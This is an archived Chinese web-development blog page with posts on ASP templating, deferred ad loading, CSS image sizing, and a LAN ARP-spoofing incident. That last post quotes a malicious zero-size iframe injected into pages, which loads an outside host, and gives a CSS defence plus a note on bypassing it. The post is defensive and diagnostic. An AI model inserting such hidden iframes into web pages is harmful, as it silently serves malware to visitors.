天空下的雨

用乐观的生活,品味非凡人生。 博客搬家了,欢迎进入新博客:www.sh96.cn

的存档

29

WEB开发:asp模板引擎终结者

阐述一种全新的ASP模板引擎,实现代码(逻辑)层与HTML(表现)层的分离.这种模板实现方法避免了一 般ASP模板加载模板文件(加载组件)和替换所浪费的资源,实现编译型的模板引擎,提高程序的执行速度和稳定性。
内容:
        当前,WEB开发已经变得非常火爆,因为各种应用,已经约来越要求表现层和逻辑层的分离.ASP和HTML夹在一起程序将变得难于维护,可读性也差。在PHP领域,模板引擎已经非常普遍,如phplib,SMARTY,等等.有使用替换方式的,也有编译方式的(SMARTY),它们都较好的实现了逻辑层和表现层的分离.由于PHP的影响,在ASP界有人借鉴phplib等使用替换的方法开发出asp的模板类,由于ASP在字符处理上性能并不是很强大,所以在速度上受到影响,这样的模板在目前的应用也不是很广泛。如: 1<!--template.html-->
2<html>
3<head>
4<title>{$title}</title>
5</head>
6<body>
7{$body}
8</body>
9</html>
1<!--Template.asp-->
2<%
3TemplateCode=Load("template.html")'自定义函数,装载模板文件到TemplateCode
4TemplateCode=Replace(TemplateCode,"{$title}","asp模板引擎终结者")'替换模板
5TemplateCode=Replace(TemplateCode,"{$body}","asp模板引擎终结者内容")'替换模板
6Response.Write TemplateCode
7%>       上面的例子只是初步展示了当前ASP模板的思想,有ASP版的CMS系统已经嵌入了对模板的逻辑控制,虽然能够实现逻辑和界面的分离,但是这种模板存在的问题就是模板需要每次都用ASP解析一次,程序相当于解析两次,而且当要替换的内容很多的时候,将会降低性能.而且装载模板需要服务器支持一种组件(FSO,ADODB,XMLHTTP均可实现).
借鉴于编译型的模板,我在ASP中引进这种思路.提出一种应用在ASP中的功能和性能都很优良的模板体系.下面用代码表示:
1 <!--template.html-->
2 <html>
3 <head>
4 <title><%=title%></title>
5 </head>
6 <body>
7 <!--<%
8 'If逻辑控制,当然这里对于FOR,While 循环也一样处理,是不是觉得很简单呢,
9 '对逻辑进行html注释,在DW(Dreamweaver)下就不会应为逻辑控制的asp占位符产生变形,对于其他的变量将显示一个asp标记,便于修改
10 IF Catalog="music" Then
11 %>-->
12 <%=music%>
13 <!--<%Else%>-->
14 <%=book%>
15 <!--<%End If%>-->
16 </body>
17 </html>
1 <!--Template.asp-->
2 <%
3 title="asp模板引擎终结者"
4 Catalog="music"
5 music="音乐"
6 book="书"
7 %>
8 <!--#include file="template.html"-->思路:asp文件进行常规的逻辑处理,运算,不用管显示层,当然需要显示的变量需要和显示层结合(PHP也一样),在模板文件中用<%%>直接控制变量的显示和逻辑的控制,不显示的逻辑控制符用html注释符<!---->注释掉,当然,不注释也是可以的.这样在ASP文件的最后"<!--#include file="template.html"-->"就实现了模板和ASP文件的结合,实现了代码和表现层的分离,这里并没有用ASP去Load模板,然后替换,浪费不必要ASP资源.这些处理全部都省去了。你会发现写ASP文件变得更加方便,因为你再也不需要在其中控制替换,逻辑显示的行为。在ASP中直接执行肯定比替换要来得迅速和稳定.况且,加载模板的时候你必须还要加载一个组件.
         写到这里,你也许明白了这种模板的精髓了,它只是一种设计模式,不是一个用模板类来处理的模板引擎。

04

使用载入...让广告代码不影响网站打开速度

做一些联盟广告时,由于联盟广告的加载慢,整体页面的显示速度也会变慢,如果加入下面的代码就可以有效地解决这个问题。以下代码同时兼容IE和FireFox浏览器。

  第一步:把这段代码放在你要放广告的网页位置:

  程序代码

<div id="myads">广告载入中...</div>

  第二步:把这段代码放到页底:

   程序代码

 

<div id="span_myads">

  这里放广告的JS代码或其他加载速度比较慢的内容都可以。

</div>
<script type="text/javascript">
document.getElementById("myads").innerHTML = document.getElementById("span_myads").innerHTML;
document.getElementById("span_myads").innerHTML = "";
</script>
04

DIV下图片自适应de解决方法

今天做网站界面,遇到一个图片在DIV+CSS中自适应大小的问题,在网上找到了解答。

不用js来控制,而是直接用css来实现。

关键是 这一行,

#pic img{max-width:780px;width:expression(document.body.clientWidth > 780? "780px": "auto" ); border:1px dashed #000;}

百分比适应同理,

#pic img{max-width:780px;width:expression(document.body.clientWidth>document.getElementById("pic").scrollWidth*9/10? "780px": "auto" ); border:1px dashed #000;}

另外一种方式:

#pic img{ max-width:560; width:expression(onload=function(){if (this.offsetWidth>this.offsetHeight){this.style.width=(this.offsetWidth > 560)?"560":"auto"
{this.style.height=(this.offsetHeight < 560)?"auto":"560px"}}
border:1px dashed #000;padding:3px; margin: 3px;}

23

iframe注入与arp欺骗的问题

"<iframe src=http://34.baieweee.com/5.html width=0 height=0 frameborder=0></iframe>"

本来以为这个帧病毒,是“微软鼠标指针漏洞”的原因,看来我是轻易下结论了,临下班的关机时间,给我带了错误的判断。写下了上一篇。http://birder.blueidea.com/archives/2007/4713.shtml

有强人说过,博客发表时要慎重,想好再发,但是既然发了就不能轻易删了。错误既然犯了,就留下做为警戒。以后发贴时,要验证清楚再按发送。

以下是修正:

因为局域网感染流行病毒,总是比外网慢一拍,等啊等啊,终于等到传说中的"ARP欺骗",得以一窥其芳容。

连入局域网的用户,不断反映内部网页打不开,在排除其它因素之后,用记事本打开网页,查看源代码。

发现在底部多了一行代码"<iframe src=http://34.baieweee.com/5.html width=0 height=0 frameborder=0></iframe>"以为是WEB服务器中招出了问题,在本地查看其源码,并没有发现异常代码。很是奇怪,和网上说的不一样啊?!

也就是说服务器并没有感染,这就好办了,只是客户机有问题。

中午休息时间,报故障的机器来电话说正常了,又可以打开网页了,可我什么都没动呀,看来是是那台攻击的机器午休了。

到了下午上班时间,果然,故障又出现了,和预想的一样。

直接调出CDM,输入

arp -a

172.16.90.21          00-02-3f-e8-a3-38     dynamic
172.16.90.104         00-02-3f-e8-a3-38     dynamic
172.16.90.251         00-02-b3-13-ef-36     dynamic

看出来没有?因为90.21是我们网关,90.104居然和网关的MAC地址一样,双胞胎啊,是典型的ARP欺骗。

找到源头地址就好办了,接下来用 nbtstat -A 172.16.90.104 查找到机器名,定位到某科室办公用机。

接下来事情,就是通知该机用户,做杀毒,恢复系统处理。

至此,本次的“ARP欺骗”告一段落。

 

<style type="text/css" media="all" id="tt">
/*<![CDATA[*/
iframe{
v:e­xpression(this.src='about:blank',this.outerHTML='');/*使用IE Only 的样式会除所有 IFRAME */
}
#f126{v:e­xpression() !important} //如果要使自己的IFRAME可以执行,在自己的IFRAME里加上ID="f126";
/*]]>*/
</style>

分析:
前缀:e­xpression(表达式);

  这个前缀是可以随意更换的,我上面取名为"v",例如我可以换成:abc123:e­xpression(this.src='about: blank',this.outerHTML=''); 挂木马的家伙得先看你的CSS里这个前缀,然后挂马的时候写成这样<iframe style="abc123:e­xpression() !important" src="URL"></iframe>,那个前缀一定要是和你的网站一样的(abc123),才能挂到马,哈哈哈!如果把前缀做成动态的,就非常OK了,看你怎么挂!